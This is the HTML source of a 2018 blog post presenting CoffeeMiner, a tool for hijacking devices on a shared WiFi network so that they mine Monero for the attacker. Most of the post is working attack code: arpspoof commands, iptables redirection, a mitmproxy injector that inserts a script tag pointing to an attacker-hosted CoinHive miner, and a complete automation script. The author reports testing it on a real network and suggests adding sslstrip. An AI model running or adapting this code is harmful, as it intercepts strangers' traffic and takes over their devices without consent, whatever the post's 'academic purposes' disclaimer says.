arnaucube
arnaucube/arnaucube.comPublic Self-hosted repository
arnaucube.com/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html
public/coffeeminer-hacking-wifi-cryptocurrency-miner.htmlRaw
  1<!DOCTYPE html>
  2<html lang="en">
  3
  4  <head>
  5    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  6    <meta charset="utf-8">
  7    <title>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - ArnauCube - Blog</title>
  8    <meta name="title" content="CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - ArnauCube - Blog">
  9    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 10
 11    <meta property="og:title" content="CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - ArnauCube - Blog" />
 12    <meta property="og:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
 13    <meta property="og:url" content="https://arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html" />
 14    <meta property="og:type" content="article" />
 15    <meta property="og:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png" />
 16    <meta name="twitter:title" content="CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - ArnauCube - Blog">
 17    <meta name="twitter:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 18    <meta name="twitter:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png">
 19    <meta name="twitter:card" content="summary_large_image">
 20    <meta name="author" content="arnaucube">
 21
 22    <meta name="viewport" content="width=device-width, initial-scale=1">
 23
 24    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
 25    <link rel="stylesheet" href="css/style.css">
 26
 27    <!-- highlightjs -->
 28    <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
 29    <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css">
 30    <script src="js/highlightjs/highlight.pack.js"></script>
 31
 32    <!-- katex -->
 33    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.css" integrity="sha384-Um5gpz1odJg5Z4HAmzPtgZKdTBHZdw8S29IecapCSB31ligYPhHQZMIlWLYQGVoc" crossorigin="anonymous">
 34  </head>
 35
 36  <body>
 37
 38    <!-- o_gradient_background" -->
 39    <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
 40                      style="height:50px;font-size:130%;">
 41      <div class="container">
 42        <a href="/blog" style="color:#000;">Blog index</a>
 43        <a href="/" style="color:#000;float:right;">arnaucube.com</a>
 44      </div>
 45      <img style="height:5px; width:100%; margin-top:8px;" src="img/gradient-line.jpg" />
 46    </nav>
 47
 48
 49
 50    <div class="container" style="margin-top:40px;max-width:800px;">
 51      <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
 52
 53<p><em>2018-01-04</em></p>
 54
 55<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
 56
 57<p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
 58
 59<p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
 60
 61<p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
 62
 63<p>The objective is to have a script that performs autonomous attack on the WiFi network. It&rsquo;s what we have called <strong>CoffeeMiner</strong>, as it&rsquo;s a kind of attack that can be performed in the cafes WiFi networks.</p>
 64
 65<h2>1. The Scenario</h2>
 66
 67<p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
 68
 69<p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
 70
 71<h3>1.1 Scenario configuration</h3>
 72
 73<p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
 74
 75<p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
 76
 77<p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
 78
 79<p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
 80
 81<p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
 82
 83<ul>
 84<li>Victim
 85
 86<ul>
 87<li>will be the machine that connects to the Router and browse some pages.</li>
 88</ul></li>
 89<li>Attacker
 90
 91<ul>
 92<li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
 93</ul></li>
 94<li>Router / Gateway
 95
 96<ul>
 97<li>will act as a normal gateway.</li>
 98</ul></li>
 99</ul>
100
101<p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
102
103<p>Once the attack is performed, the scenario will be:</p>
104
105<p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
106
107<p>To configure each one of the machines, we will do the following configuration:</p>
108
109<ul>
110<li>Victim
111
112<ul>
113<li>network adapter:
114
115<ul>
116<li>eth0: Host-only Adapter</li>
117</ul></li>
118<li>/etc/network/interfaces:</li>
119</ul></li>
120</ul>
121
122<pre><code class="language-bash">auto lo
123iface lo inet loopback
124
125auto eth0
126iface eth0 inet static
127    address 10.0.2.10
128    netmask 255.255.255.0
129    gateway 10.0.2.15
130</code></pre>
131
132<ul>
133<li>Attacker
134
135<ul>
136<li>network adapter:
137
138<ul>
139<li>eth0: Host-only Adapter</li>
140</ul></li>
141<li>/etc/network/interfaces:</li>
142</ul></li>
143</ul>
144
145<pre><code class="language-bash">auto lo
146iface lo inet loopback
147
148auto eth0
149iface eth0 inet static
150    address 10.0.2.20
151    netmask 255.255.255.0
152    gateway 10.0.2.15
153</code></pre>
154
155<ul>
156<li>Router / Gateway
157
158<ul>
159<li>network adapter:
160
161<ul>
162<li>eth0: Bridged Adapter</li>
163<li>eth1: Host-only Adapter</li>
164</ul></li>
165<li>/etc/network/interfaces:</li>
166</ul></li>
167</ul>
168
169<pre><code class="language-bash">auto lo
170iface lo inet loopback
171
172auto eth0
173iface eth0 inet dhcp
174
175auto eth1
176iface eth1 inet static
177    address 10.0.2.15
178    netmask 255.255.255.0
179</code></pre>
180
181<h2>2. CoffeeMiner, understanding the code</h2>
182
183<h3>2.1 ARPspoofing</h3>
184
185<p>First of all, we need to understand how the MITM attack is performed.</p>
186
187<p>From wikipedia:</p>
188
189<p><em>&ldquo;In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker&rsquo;s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.&rdquo;</em></p>
190
191<p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
192
193<p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
194
195<pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
196arpspoof -i interface -t ipGateway ipVictim
197</code></pre>
198
199<h3>2.2 mitmproxy</h3>
200
201<p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
202
203<p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
204
205<p>The line to inject the crypto miner is:</p>
206
207<pre><code class="language-html">&lt;script src=&quot;http://httpserverIP:8000/script.js&quot;&gt;&lt;/script&gt;
208</code></pre>
209
210<h3>2.3 Injector</h3>
211
212<p>Once we have the victim&rsquo;s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
213
214<pre><code class="language-python">from bs4 import BeautifulSoup
215from mitmproxy import ctx, http
216import argparse
217
218class Injector:
219    def __init__(self, path):
220        self.path = path
221
222    def response(self, flow: http.HTTPFlow) -&gt; None:
223        if self.path:
224            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
225            print(self.path)
226            print(flow.response.headers[&quot;content-type&quot;])
227            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
228                script = html.new_tag(
229                    &quot;script&quot;,
230                    src=self.path,
231                    type='application/javascript')
232                html.body.insert(0, script)
233                flow.response.content = str(html).encode(&quot;utf8&quot;)
234                print(&quot;Script injected.&quot;)
235
236def start():
237    parser = argparse.ArgumentParser()
238    parser.add_argument(&quot;path&quot;, type=str)
239    args = parser.parse_args()
240    return Injector(args.path)
241
242</code></pre>
243
244<h3>2.4 HTTP Server</h3>
245
246<p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
247
248<p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library &lsquo;http.server&rsquo;:</p>
249
250<pre><code class="language-python">#!/usr/bin/env python
251import http.server
252import socketserver
253import os
254
255PORT = 8000
256
257web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
258os.chdir(web_dir)
259
260Handler = http.server.SimpleHTTPRequestHandler
261httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)
262print(&quot;serving at port&quot;, PORT)
263httpd.serve_forever()
264</code></pre>
265
266<p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
267
268<p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
269
270<h3>2.5 CoinHive crypto miner</h3>
271
272<p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
273
274<p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn&rsquo;t make much sense.</p>
275
276<p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
277
278<p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
279
280<h2>3. CoffeeMiner, puting all together</h2>
281
282<p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
283
284<p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
285
286<p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker&rsquo;s machine into a proxy:</p>
287
288<pre><code class="language-bash">echo 1 &gt; /proc/sys/net/ipv4/ip_forward
289iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
290iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
291</code></pre>
292
293<p>To perform the ARPspoof for all the victims, we will prepare a &lsquo;victims.txt&rsquo; file with all the victim&rsquo;s IP.
294To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim&rsquo;s IP.</p>
295
296<pre><code class="language-python"># get gateway_ip
297gateway = sys.argv[1]
298print(&quot;gateway: &quot; + gateway)
299# get victims_ip
300victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
301print(&quot;victims:&quot;)
302print(victims)
303
304# run the arpspoof for each victim, each one in a new console
305for victim in victims:
306    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
307    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
308</code></pre>
309
310<p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
311
312<pre><code class="language-bash">&gt; python3 httpServer.py
313</code></pre>
314
315<p>And now, we can run the mitmproxy with the injector.py:</p>
316
317<pre><code class="language-bash">&gt; mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
318</code></pre>
319
320<h2>3.1 CoffeeMiner, final script</h2>
321
322<p>Now we put all the concepts explained above in the &lsquo;coffeeMiner.py&rsquo; script:</p>
323
324<pre><code class="language-python">import os
325import sys
326
327#get gateway_ip (router)
328gateway = sys.argv[1]
329print(&quot;gateway: &quot; + gateway)
330# get victims_ip
331victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
332print(&quot;victims:&quot;)
333print(victims)
334
335# configure routing (IPTABLES)
336os.system(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;)
337os.system(&quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot;)
338os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&quot;)
339os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080&quot;)
340
341
342# run the arpspoof for each victim, each one in a new console
343for victim in victims:
344    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
345    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
346
347# start the http server for serving the script.js, in a new console
348os.system(&quot;xterm -hold -e 'python3 httpServer.py' &amp;&quot;)
349
350# start the mitmproxy
351os.system(&quot;~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T&quot;)
352</code></pre>
353
354<p>And also in the &lsquo;injector.py&rsquo; script:</p>
355
356<pre><code class="language-python">from bs4 import BeautifulSoup
357from mitmproxy import ctx, http
358import argparse
359
360class Injector:
361    def __init__(self, path):
362        self.path = path
363
364    def response(self, flow: http.HTTPFlow) -&gt; None:
365        if self.path:
366            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
367            print(self.path)
368            print(flow.response.headers[&quot;content-type&quot;])
369            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
370                print(flow.response.headers[&quot;content-type&quot;])
371                script = html.new_tag(
372                    &quot;script&quot;,
373                    src=self.path,
374                    type='application/javascript')
375                html.body.insert(0, script)
376                flow.response.content = str(html).encode(&quot;utf8&quot;)
377                print(&quot;Script injected.&quot;)
378
379def start():
380    parser = argparse.ArgumentParser()
381    parser.add_argument(&quot;path&quot;, type=str)
382    args = parser.parse_args()
383    return Injector(args.path)
384</code></pre>
385
386<p>And to execute, we just need to do:</p>
387
388<pre><code class="language-bash">&gt; python3 coffeeMiner.py RouterIP
389</code></pre>
390
391<h2>4. Demo</h2>
392
393<p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
394
395<p>If we want to perform the attack manually, we will need the following terminals:</p>
396
397<p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
398
399<p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim&rsquo;s machine and browse to a website. The victim&rsquo;s traffic will go through the attacker machine, and will activate the injector:</p>
400
401<p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
402
403<p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
404
405<p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
406
407<h4>4.1 Demo video</h4>
408
409<p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
410
411<ul>
412<li>VirtualBox demo:</li>
413</ul>
414
415<p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
416
417<ul>
418<li>Real world WiFi network and laptops demo:</li>
419</ul>
420
421<p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
422
423<h2>Conclusion</h2>
424
425<p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
426
427<p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
428
429<p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
430
431<p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
432
433<hr>
434
435<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
436
437<hr>
438
439<p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
440
441<hr>
442
443<h1>References in the press about this article</h1>
444
445<ul>
446<li><p>English</p>
447
448<ul>
449<li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
450<li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
451<li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
452<li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
453<li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
454<li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
455<li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
456<li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
457<li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap</a></li>
458<li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
459<li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
460<li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
461<li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
462<li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
463<li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
464<li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
465<li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
466<li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
467<li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
468<li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
469</ul></li>
470
471<li><p>Spanish</p>
472
473<ul>
474<li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
475<li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
476<li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
477<li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
478<li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
479<li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
480<li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
481<li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
482</ul></li>
483
484<li><p>Russian</p>
485
486<ul>
487<li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
488<li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
489<li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
490</ul></li>
491
492<li><p>Italian</p>
493
494<ul>
495<li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
496</ul></li>
497
498<li><p>Bulgarian</p>
499
500<ul>
501<li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
502</ul></li>
503
504<li><p>Greek</p>
505
506<ul>
507<li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
508</ul></li>
509
510<li><p>Turkish</p>
511
512<ul>
513<li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
514</ul></li>
515
516<li><p>Dutch</p>
517
518<ul>
519<li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
520</ul></li>
521
522<li><p>Chinese</p>
523
524<ul>
525<li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
526<li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
527</ul></li>
528</ul>
529
530<h4>Destacated tweets</h4>
531
532<ul>
533<li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
534<li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
535<li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
536<li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
537<li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
538<li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
539<li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
540</ul>
541
542<p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
543
544    </div>
545
546    <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
547      <div class="container">
548        <div class="row">
549          <ul class="list-inline">
550            <li><a href="https://twitter.com/arnaucube"
551                   style="color:gray;text-decoration:none;"
552                   target="_blank">twitter.com/arnaucube</a>
553            </li>
554            <li><a href="https://github.com/arnaucube"
555                   style="color:gray;text-decoration:none;"
556                   target="_blank">github.com/arnaucube</a>
557            </li>
558          </ul>
559        </div>
560        <div class="row" style="display:inline-block;">
561          Blog made with <a href="http://github.com/arnaucube/blogo/"
562                            target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
563        </div>
564      </div>
565    </footer>
566
567    <script>
568    </script>
569    <script src="js/external-links.js"></script>
570    <script>hljs.initHighlightingOnLoad();</script>
571    <script defer src="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.js" integrity="sha384-YNHdsYkH6gMx9y3mRkmcJ2mFUjTd0qNQQvY9VYZgQd7DcN7env35GzlmFaZ23JGp" crossorigin="anonymous"></script>
